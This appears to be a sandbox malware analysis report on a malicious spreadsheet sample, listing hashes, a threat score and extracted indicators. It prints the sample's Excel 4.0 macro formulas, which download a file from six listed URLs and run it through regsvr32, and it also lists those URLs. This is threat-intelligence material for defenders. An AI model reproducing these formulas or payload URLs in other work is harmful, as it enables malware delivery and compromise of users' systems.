General
-
Target
44009fce2933784eebfcb03313a11884b505263e35429d94d7d64ac3598f6adf
-
Size
46KB
-
Sample
241120-d9jvjszmfv
-
MD5
2ef73198713f9bd0b5f612a9d01faa5e
-
SHA1
0a83a42c72cc6f7d0143ea99260b5c12c07e1cd0
-
SHA256
44009fce2933784eebfcb03313a11884b505263e35429d94d7d64ac3598f6adf
-
SHA512
cc00887bed0eeb9cf707a45021aa811c13e2995973f7112541cd2e62006f6906ec3a4a8fa9e169eaa3d5dd8311b11692ce17e6b6e877419ab0613302c8fe0885
-
SSDEEP
768:2yMo9DOevZCwrvtE9WzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VP9HW:HMo9D88tT5fTR4Lh1NisFYBc3cr+UqVk
Malware Config
Extracted
http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/
https://baksen.org/chat/8wYoYwWXH4eidiUOAs/
https://truetvkerala.com/wp-admin/iocOOm7I/
https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/
http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/
http://restoran.hotelrestoranaqua.com/wp-includes/67I/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baksen.org/chat/8wYoYwWXH4eidiUOAs/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://truetvkerala.com/wp-admin/iocOOm7I/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://restoran.hotelrestoranaqua.com/wp-includes/67I/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Extracted
http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/
https://baksen.org/chat/8wYoYwWXH4eidiUOAs/
Targets
-
-
Target
44009fce2933784eebfcb03313a11884b505263e35429d94d7d64ac3598f6adf
-
Size
46KB
-
MD5
2ef73198713f9bd0b5f612a9d01faa5e
-
SHA1
0a83a42c72cc6f7d0143ea99260b5c12c07e1cd0
-
SHA256
44009fce2933784eebfcb03313a11884b505263e35429d94d7d64ac3598f6adf
-
SHA512
cc00887bed0eeb9cf707a45021aa811c13e2995973f7112541cd2e62006f6906ec3a4a8fa9e169eaa3d5dd8311b11692ce17e6b6e877419ab0613302c8fe0885
-
SSDEEP
768:2yMo9DOevZCwrvtE9WzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VP9HW:HMo9D88tT5fTR4Lh1NisFYBc3cr+UqVk
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-